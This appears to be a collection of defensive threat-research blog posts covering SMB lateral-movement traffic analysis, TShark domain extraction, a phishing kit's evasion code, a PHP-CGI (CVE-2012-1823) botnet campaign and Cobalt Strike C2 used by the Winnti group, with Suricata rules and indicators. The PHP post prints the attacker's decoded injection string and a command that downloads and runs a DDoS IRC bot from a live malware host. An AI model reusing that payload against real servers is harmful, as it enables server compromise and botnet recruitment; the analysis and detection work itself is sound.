This guide is available as a pdf here.

Of all the common protocols a new analyst encounters, perhaps none is quite as impenetrable as Server Message Block (SMB). Its enormous size, sparse documentation, and wide variety of uses can make it one of the most intimidating protocols for junior analysts to learn. But SMB is vitally important: lateral movement in Windows Active Directory environments can be the difference between a minor and a catastrophic breach, and almost all publicly available techniques for this movement involve SMB in some way. While there are numerous guides to certain aspects of SMB available, I found a dearth of material that was accessible, thorough, and targeted towards network analysis. The goal of this guide is to explain this confusing protocol in a way that helps new analysts immediately start threat hunting with it in their networks, ignoring the irrelevant minutiae that seem to form the core of most SMB primers and focusing instead on the kinds of threats an analyst is most likely to see. This guide necessarily sacrifices completeness for accessibility: further in-depth reading is provided in footnotes. There are numerous simplifications throughout to make the basic operation of the protocol more clear; the fact that they are simplifications will not always be highlighted. Lastly, since this guide is an attempt to explain the SMB protocol from a network perspective, the discussion of host based information (windows logs, for example) has been omitted.

The Basics

At its most basic, SMB is a protocol to allow devices to perform a number of functions on each other over a (usually local) network. SMB has been around for so long and maintains so much backwards compatibility that it contains an almost absurd amount of vestigial functionality, but its modern core use is simpler than it seems. For the most part, today SMB is used to map network drives, send data to printers, read and write remote files, perform remote administration, and access services on remote machines.

SMB runs directly over TCP (port 445) or over NetBIOS (usually port 139, rarely port 137 or 138). To begin an SMB session, the two participants agree on a dialect, authentication is performed, and the initiator connects to a ‘tree.’ For most intents and purposes, the tree can be thought of as a network share.^[1] The PCAP below, shown in Wireshark, demonstrates a simple session setup and tree connect. In this case, the machine 192.168.10.31 is connecting to the “c$” share (equivalent to the C:\ drive) on the 192.168.10.30 machine, which is called “admin-pc.”^[2]

If you open this PCAP in wireshark and look at the packet details, you will find a lot of information, and it can sometimes be difficult to tell what is relevant. Fortunately, as analysts we are mostly unconcerned with the details of these setup packets (with the exception of those relevant to authentication, which is discussed below). For the most part it is sufficient to make note of the machine and share being accessed and move on.

There are two special shares that you will see referenced often: the IPC$ and ADMIN$ shares. The ADMIN$ share can basically be thought of as a symbolic link to the path C:\Windows.^[3] The IPC$ share is a little different. It does not map to the file system directly, instead providing an interface through which remote procedure calls (RPC) can be performed, as discussed below.^[4]

To get a better idea of how basic actions are performed with SMB, we’ll first take a look at a simplified version of a file copy. It looks like this:^[5]

The first action we see is parsed by wireshark as “Create Request File.” In this instance, this tells 192.168.10.30 that 192.168.10.31 would like to create the file mimikatz.exe^[6] (1). It is important to note that this is the same command used to access a file, so seeing a “Create Request” doesn’t always mean that a file is being created. 192.168.10.31 retrieves some information about the filesystem it’s writing to with GetInfo (2), and then transmits some length information with SetInfo (3). Next 192.168.10.31 requests a number of writes to send the actual file bytes over (4). We append some metadata (including timestamps) to the complete remote file (5) and close it. Our file transfer is now complete.

Reads work similarly; the following PCAP shows the write operation exactly reversed. Host 192.168.10.31 is downloading mimikatz from host 192.168.10.30.

We begin by “creating” the request file again (1), though in this case it is an extant file that we are requesting a handle to. We use GetInfo to get a number of pieces of metadata from the file (2), and then make read requests for the actual file bytes (3).

There are a large number of other SMB commands, but many of them are either rare or relatively self explanatory, and we won’t go into detail about them here.^[7] You may encounter AndX commands,^[8] which can be confusing at first. These simply allow two commands to be packaged as one, with one SMB header. For most purposes, you can treat them as two separate commands.

Authentication

As security analysts, one of the details we are most interested in from SMB traffic is user/machine pairing. An unusual login on a device can be a thread that unravels an entire lateral movement attempt. In Windows Active Directory environments, there are two main ways that hosts authenticate to servers and each other: NTLM and Kerberos. NTLM, the older of the two, has been in use since the release of Windows NT in 1993 but remains supported in the latest versions of Windows.^[9] It uses a user’s password hash to encrypt a challenge it is sent by the device it is authenticating to. It is thus extremely vulnerable to pass-the-hash type attacks,^[10] and Kerberos is the recommended authentication protocol for Active Directory environments. NTLM continues to be used in Workgroup environments (Windows environments without domain controllers) and some older systems.^[11]

Kerberos, introduced to Active Directory in Windows 2000, is a more modern and robust authentication protocol, but requires a Ticket Granting Server (TGS) to operate, usually on an Active Directory Domain Controller. A full explanation of Kerberos is beyond the scope of this paper,^[12] so we will instead focus on the two aspects of the protocol that are important for our discussion here. One, Kerberos authentication happens separately from SMB, and involves interaction with a TGS and the service you are attempting to authenticate to. Two, Kerberos tickets, used to access services on remote machines, do not contain user information that is useful to us in cleartext.

Pass-the-hash attacks on NTLM and pass-the-ticket attacks on Kerberos^[13] can both be very difficult to detect at a network level, since the traffic often looks the same as legitimate use. It is key for network defenders to have an understanding of what users should be logged into which machines, as well as to maintain good discipline about which accounts are used to access which resources. SMB traffic analysis can sometimes help us with this. NTLM authentication, shown below, includes the user attempting to authenticate in cleartext.^[14]

Depending on how you capture network traffic, it may or may not be possible to follow a Kerberos session. While the username is not included in the cleartext SMB authentication, you may be able to follow the initial authentication with the TGS and see the returned ticket being used in an SMB session. See here for more details.

RPC

One common use case for SMB is to make remote procedure calls (RPC) to another machine on a local network. This functionality can be used for a number of things, but we are especially interested in how it is used for things like user and group enumeration, which can be signs of attempted lateral movement. It’s important to note that RPCs can be made over raw TCP as well as over SMB, so absence of SMB traffic doesn’t mean absence of RPC. We’ll start by looking at a simple example of RPC over SMB which we might see if someone is attempting to enumerate all the users in our domain using the net command.^[15]

This PCAP starts similarly to the others we’ve seen, with a protocol negotiation and session setup (1). Note that we are connecting to the IPC$ share (2): this will be the tree we connect to for all RPC. Next, we “Create Request File,” (3) where the filename is the name of the service we are connecting to (in this case, the Security Accounts Manager (SAMR)). It is important to note that while Wireshark parses the SAMR protocol for us, in the case of a service it doesn’t recognize this filename would be very useful to us in identifying what we were querying. Next, we call an RPC bind and then formally connect to the service (4). Now that we’re connected to the service, Wireshark parses the individual commands sent to SAMR. We can see that 192.168.10.31 is attempting to enumerate the users in the domain through this service (5).

We’ll look at one other simple example of RPC over SMB: using the at command to schedule a task on a remote computer.^[16] We’ll look at only part of the PCAP, from after the session has been set up and we have connected to the IPC$ share.

From a high level, this PCAP looks similar to the SAMR calls above. We create a request file with the name of the service (1) (atsvc, as we can see from the SMB Create Request File command), call an RPC bind (2), and then send a JobAdd request to the at service (3). There are a couple of things to note: one, since RPC runs on SMB in this case, each RPC command must have an SMB command associated with it. In this instance, RPC bind is on top of an SMB write, while the communication with the service happens over ioctl/fsctl commands.^[17] This can be a little confusing, so it can sometimes be best to think of it as three independent layers: the SMB, the RPC, and the service (in this case, ATSVC). Many RPC commands will ride on top of an SMB ioctl command, as we can see below. Assuming you are not tearing packets apart byte-by-byte, the SMB command is not hugely important: instead, focus on the RPC call or (if Wireshark can parse it) the service running on RPC.^[18]

Wireshark parses the at scheduler service command for us, and we can see that the user is attempting to schedule mimikatz to run.

PSExec

PsExec, a windows remote administration tool, has long been an attacker favorite for lateral movement in Active Directory environments. PsExec’s own website describes it as “a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.”^[19] While it is still commonly used for legitimate administration tasks, its extensive functionality makes it useful to attackers. It is worthwhile to keep an eye on all uses of it in your network, if it is deployed at all.

PsExec can be fairly complicated on the wire, so we will begin by looking at two examples with some simplification. The first shows PsExec being used to extract a file from a target machine.^[20]

We first connect to the ADMIN$ share (1) (which points to C:\Windows), and copy over the PSEXESVC.exe file (2). This is an executable which will eventually be run on the target machine as a temporary service. We then connect to the IPC$ share (3) (note that we don’t need to do another session setup for this to happen). Since Wireshark can’t parse the PSEXESVC (like it could ATSVC and SAMR) at time of writing, we see the raw ioctl request (4), FSCTL_PIPE_TRANSCEIVE, instead of it being decoded into service specific commands. We then open (or more accurately, FSCTL_PIPE_WAIT on^[21]) the service’s stdin (5), stdout (6), and stderr (7), and then start reading the actual file from stdout (8). As of version 2.1, PsExec encrypts all communication between the local and remote machines, so we can’t glean much more insight from this PCAP.

The next example we’ll look at is using PsExec to add a user to a remote machine, and looks fairly different. The initial setup is similar, we connect to the ADMIN$ share (1) and copy over the PSEXESVC.exe file (2), though in this case we then completely disconnect.

However, when we reconnect to the IPC$ share (1), we launch PsExec via an RPC call to the SVCCTL service (as opposed to sending an ioctl to the PSEXESVC pipe, as we did above) (2) and then connect to the stdin, stdout and stderr as before (3).

The metasploit framework (https://www.metasploit.com/) also contains its own version of PsExec which works a little differently under the hood.^[22] In this PCAP, we’re using it to pass some NTLM credentials we stole across SMB and then download meterpreter (https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) to a target machine.

This is the unabridged PCAP and it shows just how efficient this module is at transmitting a payload. You’ll notice it makes extensive use of AndX commands. On further inspection, however, you’ll see that all of the AndX commands are “No further commands,” meaning we’re only sending one command. It is possible that the AndXs are used for evasion.

We perform a normal NTLM authentication (1) and then connect to the IPC$ (2) and ADMIN$ (3) shares (note that in this case we are connecting to them both simultaneously, unlike the previous two examples). We then attempt to open the PowerShell executable on the remote machine (4). This is metasploit checking for the presence of PowerShell so it doesn’t have to send over the PSEXESVC executable, which some solutions may detect as malicious. It successfully finds it (5), connects to the SVCCTL service (6), and then transfers a file over (7). It creates (8) and starts a service (9) , then cleans up (10) and disconnects (11). If we inspect the service creation, we can actually see the PowerShell command that spawns a meterpreter loader.

Though the command is truncated in wireshark, in the raw packet bytes we can see it is meant to decode and execute shellcode.

Lateral Movement Techniques

So far we’ve looked at a number of individual examples of potentially malicious behavior over SMB, but we have not looked at any big picture techniques of how attackers might actually traverse a network. There are of course quite a number of potential strategies to this, but one relatively common technique I’d like to focus on is both easy to perform and relatively difficult to detect. Since Windows stores some credentials (either Kerberos tickets or NTLM hashes) in memory for logged on users, an attacker can sometimes gain more valuable credentials by gaining local Admin on a box, dumping the Kerberos tickets or NTLM hashes from memory, and then impersonating that user to move to another machine that they have access to. That process can then potentially be repeated on another machine. This requires only mimikatz and legitimate Windows tools, and so defender knowledge of appropriate machine/user pairings and proper access controls are essential. SMB analysis can also help us in a couple ways. First, inspecting SMB for unusual authentication can give us a hint when something isn’t right. If our network uses Kerberos, but we see an NTLM authentication between two machines, something is definitely up. Secondly, a technique like the one above often involves a lot of reconnaissance, because it is essential for attackers to know which users have what permissions and who is logged into what machines. Attackers can sometimes create enumeration noise while trying to figure this out (though enumeration tools do have a number of legitimate uses), and seeing unusual RPC calls related to user permissions, group memberships, or active sessions can sometimes indicate compromise.^[23]

A good attacker can move almost silently through your network, and even when you are armed with knowledge of SMB, they can sometimes evade detection. Windows Management Instrumentation (WMI) and PowerShell remoting are two techniques that can avoid using SMB altogether and perform some of the same functionality we’ve discussed.^[24] No one indicator we’ve seen in this post indicates malicious behavior on its own, but as with any protocol, a good knowledge of what normal SMB traffic looks like in your network is critical for finding anomalous behavior that might be attacker related. I hope this guide has been a useful introduction and you can use some of the tools you’ve learned here to begin hunting in your network.^[25]

In the recent post Triaging Large Packet Captures - 4 Key TShark Commands to Start Your Investigation, I discussed some areas to begin investigating a large packet capture. Generally, when confronted with a large PCAP with unknown behavior in it, we want to start whittling away chunks to find areas to focus our analysis on. As a general strategy it's important to understand the infrastructure used in the PCAP as well as the protocols that are being used. In this post I'll focus on examining infrastructure by extracting domains from the PCAP. I will also show how these domains can be compared against the Cisco Umbrella Popularity lists.

As previously discussed, a great starting point for extracting domains is to use the TShark command:

tshark -q -r <pcap> -z hosts

# TShark hosts output
#
# Host data gathered from <pcap>

115.85.68.215	kllserver.serveftp.com
173.194.67.106	www.google.com
119.160.247.124	ns5.yahoo.com
173.194.67.104	www.google.com
173.231.54.69	europd.ddns.info
74.125.95.106	www2.l.google.com
74.125.95.104	www2.l.google.com
...

Figure 1. TShark hosts sample output.

This command will produce a list of IP addresses and domains. The bulk of this data is derived from DNS responses in which a domain is resolved to an IP address. The IP addresses in the output are the resolutions for the corresponding domains in a DNS response. However, the appearance of an IP address in the output doesn’t mean that the IP address is involved in any of the conversations in the PCAP, just that it was seen as a resolution in a DNS response. For the most part, this query gets us the bulk of what we are looking for; however, there is some nuance to this, and there are other places to find additional domains. For example, the host lists may have hostnames and IPs that weren’t directly queried, but rather were the result of a CNAME response to your original query. This may happen when you query the A record for www.example.com and in the response you get www2.example.com as the CNAME and www2.example.com resolves to a given IP address. In the hosts output you would only see www2.example.com and its corresponding IP address, with no evidence of the original lookup. Additionally, you may want to see domains that aren’t expected to resolve, such as a TXT record involved in DNS tunneling. If you want to know all the domains that were queried, you will need to extract them from the DNS queries directly.

Extracting From DNS Queries

To extract all the content from the name portion of a DNS query, use the following command:

tshark -q -r <pcap> -T fields -e dns.qry.name

This will output all queried names from any traffic identified as DNS in the PCAP. The output can be cleaned up a bit by focusing on queries only and ignoring responses (removing the identical queries in the DNS response) by using the following:

tshark -q -r <pcap> -T fields -e dns.qry.name -Y "dns.flags.response eq 0"

An important caveat here is that you may get some garbage output from this query if there are any malformed DNS packets or traffic misidentified as DNS. You will likely need to do a little cleaning up of the output to focus on only the unique names queried. If you are using bash it can be handy to remove empty lines with sed, sort the output, and then grab only the unique lines like so:

tshark -q -r <pcap> -T fields -e dns.qry.name -Y "dns.flags.response eq 0" | sed '/^$/d' | sort | uniq

Additionally you can add the -c option onto uniq to get a count of occurrences then re-sort.

1 www.usatoday.com
1 www.youtube.com
2 crl.usertrust.com
2 google.com
2 home.live.com
2 login.live.com
2 mail.live.com
2 nasa.usnewssite.com
3 www.gami1.com
4 europd.ddns.info
4 www.microsoft.com
5 www.google.com
6 www.download.windowsupdate.com
...

Figure 2. Extracting DNS query names, sorting, and counting.

Extracting from HTTP Host Headers

Another source to examine hostnames from is HTTP. It's helpful to pull in this information since you may not have the corresponding DNS traffic to these locations in your packet capture. The following command grabs the contents of the HTTP Host field, then removes blank lines and duplicates:

tshark -q -r <pcap> -T fields -e http.host | sed '/^$/d' | sort | uniq

199.192.156.134:443
239.255.255.250:1900
61.178.77.169:84
crl.comodoca.com
crl.microsoft.com
crl.usertrust.com
download.comodo.com
downloads.comodo.com
...

Figure 3. Extracting hostnames from HTTP host field.

Our main focus here has been on domains, but it's important to note that you may get IP addresses and ports in your output.

Using Cisco Umbrella List to Examine Extracted Hostnames

Once domains have been extracted from your PCAP, you can begin identifying well known domains and isolating suspicious ones. For this task I like to use the Cisco Umbrella Popularity Lists. Using the Top 1M list and a simple Python script, you can rank all the domains in your list according to their popularity in the Cisco Umbrella list. When searching for leads I like to focus on domains not found in the list. Below is the output from a Python script on our github that takes a list of domains and checks it against the Top 1M list.

*** Domains Not Found in Top 1 Million ***
lookquery.info
mickeypluto.info
nasa.usnewssite.com
re.policy-forums.org
shittway.zapto.org:336
vcvcvcvc.dyndns.org
…

*** Domains Found in Top 1 Million ***
Rank - Domain
4 - www.google.com
64 - crl.microsoft.com
432 - www.microsoft.com
508 - crl.comodoca.com
1119 - crl.usertrust.com
4933 - www.download.windowsupdate.com
8873 - www.live.com
16075 - download.comodo.com
563265 - stats1.update.microsoft.com
...

Figure 4. Output from comparing domains to Cisco Top 1M list.

Note that we are checking for exact matches here. If you are overwhelmed with a bunch of domains not found in the list, it may be worth searching on partial matches then seeing what's left over. Additionally, you could use the top TLD list to surface domains that have unusual TLDs.

Next Steps

In this blog post we discussed three main ways of extracting domains from a PCAP: using TShark’s host output, extracting names from DNS queries, and extracting from HTTP host headers. This will produce a fairly comprehensive view of the domains associated with your PCAP. This information can be used to surface suspicious domains as well as trim traffic associated to non-suspicious domains. In future blog posts we will discuss methods for further analyzing suspicious domains.

Recently, several seemingly suspicious emails were brought to the attention of 401TRG. While phishing campaigns are relatively common, this one had a few interesting features. I decided to investigate this campaign further, and found that the attacker(s) had left most of their php code in a publicly accessible directory on their phishing page. Armed with this code, I thought I would take the opportunity to share some insight about how this particular campaign was run, and some common phishing tactics it used.

This campaign used crafted phishing emails, often using stolen information to impersonate someone who was known to the target in a professional capacity. The emails contained an attached PDF, which I initially suspected was weaponized, but in fact only contained a single link, which claimed it was to download another PDF (perhaps the attackers were counting on the victim to not question why they’d downloaded a PDF only to download another one!).

Figure 1: Attached PDF

The link in the PDF points to x.co, a GoDaddy owned URL shortener, which redirects the victim to praznik[.]mx/ttttttttttttt/newdoc/[md5 sum of random characters], a domain likely owned by the attackers, which hosts a OneDrive lookalike page.

Figure 2: Phishing Landing

The page offers a number of different services with which to authenticate. Once a user has selected a service (in this example, Gmail), they are brought to a relatively unconvincing copy of that service’s login page, where they can enter credentials to be sent via an HTTP POST request to the attacker’s server.

Figure 3: Gmail login page

Things started to get interesting when I navigated to the root phishing directory (praznik[.]mx/ttttttttttttt/). Publicly accessible in this directory was a ZIP archive, called scopiondrive.zip, which contained what appears to be the entirety of the backend code for the phishing page. This is a common sign of a phishing kit, as Jordan Wright of Duo Labs explains. Access to the source code of the site allows us to gain insight into the attacker’s technical skills and tactics.

Figure 4: index.php

The first file, index.php, creates a random path under praznik[.]mx/ttttttttttttt/newdoc and copies all the files in the “page” folder (everything except index.php) into it. When a user navigates to this page when initially loading the site, it generates a unique subdirectory for their particular session with all the necessary files for the phish. index.php also includes blocker.php, which displays a 404 Not Found error if someone attempts to access it from certain machines.

Figure 5: Blocker.php

As you can see, the attackers were particularly concerned about being visited by machines associated with 11 specific organizations (see above), presumably to prevent their page from being discovered by researchers (their attempt to block Tor exit nodes was unsuccessful). They also block a number of IP ranges, including some belonging to Google and Amazon, and check User-Agents to prevent web crawlers from discovering their page. The .htaccess file that they uploaded to the compromised server blocks additional cybersecurity organizations and web crawlers.

setenvifnocase Referer castlecops.com spammer=yes
setenvifnocase Referer internetidentity.com spammer=yes
setenvifnocase Referer phishfighting.com spammer=yes
setenvifnocase Referer phishtank.com spammer=yes
setenvifnocase Referer spamcop.net spammer=yes
setenvifnocase Referer spam spammer=yes
setenvifnocase Referer phish spammer=yes
setenvifnocase Referer bezeqint.net spammer=yes
<Limit GET POST>
Order Allow,Deny
Allow from all
Deny from env=spammer
Deny from google.com
Deny from Google Chrome
Deny from Chrome
Deny from Kaspersky
Deny from Avira
Deny from yahoo.com
Deny from search.com
Deny from bing.com
Deny from lloyds
Deny from PayPal
Deny from .co.uk
Deny from .gov.uk
Deny from bezeqint.net
Deny from barak-online.net
Deny from internetidentity.com
Deny from phish-inspector.com
Deny from netcraft.com
Deny from spamcop.net
Deny from veritas.com
Deny from .edu
Deny from crawl
Deny from verisign-dbms.com
Deny from verisign.com
Deny from phishingsite-collector
Deny from netcraft.com
Deny from net.il
Deny from com.il
Deny from co.il
Deny from org.il
Deny from googlebot.com
Deny from mcafee
Deny from spam
Deny from phish
Deny from 66.249.71.179
Deny from 124.176.210.234
Deny from 125.18.56.109
Deny from 128.232.110.18
Deny from 137.108.145.10
Deny from 137.110.222.77
Deny from 138.26.64.54
Deny from 202.73.
Deny from 202.75.
Deny from 209.147.
Deny from 209.59.
Deny from 64.127.
Deny from 65.110.
Deny from 66.135.
Deny from 66.16.
Deny from 66.179.
Deny from 66.194.6.
Deny from 80.178.
Deny from 79.182.
Deny from 87.69.
Deny from 87.70.
</Limit>

Figure 6: .htaccess File

Once a user has entered credentials on one of the various phishing pages (the code of which is relatively uninteresting and isn’t reproduced here), they are sent to one of 6 very similar PHP scripts to be transmitted to the attacker’s email address. All of the scripts include a file, validate_form.js, which contains only a single uncommented line, a base64 encoded PHP command, despite the file extension.

Figure 7: validateform.js

Decoded, the line is as follows:

Figure 8: Base64 Command Decoded

After the code is executed, ‘recipent’ [sic] has a value of “resultsnipper[@]gmail.com.” Harvested credentials are sent to both this address and resultspecial02[@]gmail.com, which is defined in the mail script and stored in another variable called ‘recipient’ (note the correct spelling).

Figure 9: One of the Server-Side PHP Scripts

Even a relatively simple phishing campaign like this one can provide valuable insights into attacker thought process and tools. This campaign reinforces the importance of anonymizing your IP address and User-Agent in investigations, since attackers do specifically block IPs or hostnames that could belong to security researchers or organizations that pose a risk to the phishing campaign’s success.

If any other analysts have encountered this campaign in the wild, please reach out to us by email or on Twitter!

Special thanks to @switchingtoguns for guidance and for developing the following sig.

Suricata IDS Signature:

• alert http $HOME_NET any -> $EXTERNAL_NET any (msg:“401TRG Successful Multi-Email Phish - Observed in Docusign/Dropbox/Onedrive/Gdrive”; flow:to_server, established; content:“POST”; http_method; content:“.php”; http_uri; isdataat:!1,relative; content:“pasuma”; nocase; http_client_body; depth:100; fast_pattern; content:“name”; nocase; http_client_body; sid:9500032; rev:1;)

Correction: November 22, 2025
An earlier version of this post incorrectly stated that the variable 'recipent' [sic] was never used in the mail script. It was in fact used as a secondary recipient of the credential harvesting emails.

Attempts to gain control of public facing web servers with modified HTTP requests are very common, and can sometimes pose a danger to unpatched systems. With the use of publicly available tooling, these web crawling and attack attempts are extremely easy to perform and are often considered the realm of ‘script-kiddies’. While the likelihood of such an attack being successful is low, an analyst should know how to approach and understand these basic attacks. Many large compromises have come from older vulnerabilities, so they should not be ignored based on age alone.

Analysis

In this post, I wanted to share a few examples of a DDoS Perl IrcBot we’ve observed - a campaign of attacks similar to the more common Shellbot. In this attack, the attacker crawls the internet looking for public facing web servers, and makes a specially crafted HTTP POST request to each one it finds. These attacks are opportunistic in nature, aiming to catch the lowest hanging fruit across the internet.

Figure 1. Example malicious HTTP POST

As shown in figure 1, the POST request contains the large URL encoded string:

%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

The URL encoding is likely an effort to evade basic detection capabilities. The decoded string is as follows:
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

Inspecting some of the instructions will help provide a better idea of what the attacker is attempting to accomplish:

• cgi-bin/php? - Use the php interpreter in the cgi-bin directory
• allow_url_include=on - Allows data retrieval from remote locations
• safe_mode=off - Disables PHP safe mode settings.
• suhosin.simulation=on - Disables suhosin PHP protection, but keeps logging.
• disable_functions="" - Removes any disabled functions already set.
• open_basedir=none - Sets no limits on files that can be opened by PHP

As you may have noticed, this technique is not new; it has been used continuously since the release of CVE-2012-1823, which allows remote attackers to execute arbitrary code by placing command-line options in the query string.

The content of the HTTP POST contains the actual file download instruction:

<? system("cd /tmp ; wget http://181.113.26.66/zmuie ; curl -O http://181.113.26.66/zmuie; fetch http://181.113.26.66/zmuie ; chmod +x zmuie ; ./zmuie ; perl zmuie ; rm -rf zmuie "); ?>

All of the file downloads we’ve observed have been versions of DDoS Perl IrcBot v1.0 / 2025, which is a reused piece of code from 2013. The attackers simply modified small sections of the file in order to change the authorship and the IRC configurations. The most recent attacks have used multiple older versions of the code. For example, the below screenshot shows code that originated in 2013 being used over the past few months:

Figure 2. Example of 2013 code in recent attacks.

One of the more recent attempts used a bot configuration file with the Flood.ro Team name.

Figure 3. Example code showing Flood.ro Team name.

There are many variations of these files (some shown below) that claim to be authored by different groups, including vK Security Team and aloha Security Team. In all of these files, the code contains instructions for inexperienced attackers to work off of and clear indicators of authorship, suggesting that the teams are using these files to increase their reputation as malware authors. Based on attack timing across multiple web scans at large scale, I assess with medium confidence that all of these “teams” are a single entity.

Figure 4. Exploit attempt using cs titled file.

Figure 5. First 54 lines of malicious file.

Between the varying inbound exploit attempts, the attacker experimented with alternative file names, noting the no-extension extention below:

Figure 6. Inbound exploit attempt using zmuie.noext file.

Figure 7. First 47 lines of malicious zmuie.noext file.

More recently, the attacker figured out that an extension is not really necessary..

Figure 8. Inbound exploit attempt using zmuie file.

Figure 9. First 47 lines of malicious zmuie file.

The Botnet:

It's worth noting that these infection attempts have had fairly limited success rates. Once a host is successfully exploited and joins the IRC botnet, it can be controlled by the attacker. Noted in the above screenshots, DDoS, port scanning, downloading, and flooding are all built in capabilities that the victim can perform for the attacker. In the botnets we’ve monitored, typically around 200 hosts are members of the botnet at any one time.

Mitigation:

Defending against this exploit attempt is as simple as updating PHP. Check out the original NIST CVE post for specifics: nvd.nist.gov/vuln/detail/CVE-2012-1823

Analysis Tips:

There are a number of command line and GUI tools available to decode URL encoded strings. For analysts unsure of how to do this, I recommend checking out CyberChef from GCHQ. Download that locally on your machine, and add it to your browser favorites for easy access. URL decoding is just one capability of the tool, so be sure to check out its other helpful features.

Detection and Indicators:

If you would like to automate the intake of these detections, please see our GitHub Detections repo.

Suricata IDS signature:

• alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Generic Webshell Request - POST with wget in body"; flow:established,to_server; content:"wget"; nocase; http_client_body; content:"http"; nocase; http_client_body; within:11; threshold:type limit, track by_src, seconds 3600, count 1; classtype:web-application-attack; sid:600052; rev:1;)
• alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Perl DDoS IRCBot File Download"; flow:established,from_server; content:"|6d 79 20 24 70 72 6f 63 65 73 73 20 3d 20 24 72 70 73 5b 72 61 6e 64 20 73 63 61 6c 61 72 20 40 72 70 73 5d 3b|"; sid:600051; rev:1;)

IP:

• 5.189.143.2 - IRC Server
• 216.157.85.5 - IRC Server (only.god[.]jp)
• 209.90.232.99 - Malware Drop Location
• 181.113.26.66 - Malware Drop Location
• 106.75.100.241 - Malware Drop Location
• 213.174.157.151 - Malware Drop Location (idip.do[.]am)

MD5 Hash:

• 37F21CF3015D3BF0AE110353C1EDDAB5
• DE958C34D0DC248FCD585D5167A92F79
• 84FA8F6D0DD1C7C4AFF192A662746EC3
• 761C96290B7517BB59A206FB67825A38
• 3360462224EB2AF47AB3A7C90B403667
• AB3DD6EE0F346709192162A317616A0A
• 6AA17A48F8EA944282812954676F0AD8

Update: To better document and share the details of this post with the community, we're going to change form referring to this group as "Winnti" to the more appropriate "LEAD" title. Winnti originated in 2009 as a single group but more current intelligence indicates that the original group can now be separated into LEAD (APT17) and BARIUM. The original "Winnti" name comes from the malware codebase prior to the potential split of the group.

In our recent post “Winnti Evolution - Going Open Source,” Nate Marx and I shared new details on the Winnti APT group and their continued targeting of online gaming organizations. The purpose of this follow-up post is to share some new information about the group and their continued activities.

The group continues to primarily use publicly available pentesting tools outside of the US. In the multiple incidents we have been involved in, the group has relied heavily on BeEF and Cobalt Strike. Cobalt Strike has been their primary toolset for command and control within the victim networks, while BeEF has been used to assist in the initial infection process.

On the network traffic analysis end, post compromise activity results in some interesting but not unexpected activity. First, Winnti uses Cobalt Strike to collect credentials and move laterally. The stolen credentials may be used for remote access into the victim network if applicable. The group also continues to focus on theft of code signing certificates and internal documentation, including company files and internal communication history (chats/emails).

In multiple incidents, we found the attackers were using the webbug_getonly malleable C2 profile, which masks itself as a Google Web Bug and performs both directions of communication using only HTTP GETs. The profile encrypts then encodes victim metadata after the utmcc parameter, with __utma inserted at the front. When not sending a command or file, the server responds with a small GIF (See Figure 1).

Figure 1: Cobalt Strike beacon example

When the server has commands or data to send the infected client, it responds with more data appended to the same small GIF it normally uses (see Figure 2). We also observed updated Cobalt Strike binaries being sent this way, typically in the clear.

Figure 2: Example C2 response containing new Cobalt Strike binary.

We’ll continue to monitor the Winnti group and share any new details when possible.

Indicators/Detection

• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (strangelol .com)"; flow:established,to_server; content:"strangelol.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600045; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (strangelol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|strangelol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600044; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (ssrsec .com)"; flow:established,to_server; content:"ssrsec.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600043; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (ssrsec .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|ssrsec|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600042; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (sqlmapff .com)"; flow:established,to_server; content:"sqlmapff.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600041; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (sqlmapff .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|sqlmapff|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600040; rev:3;)
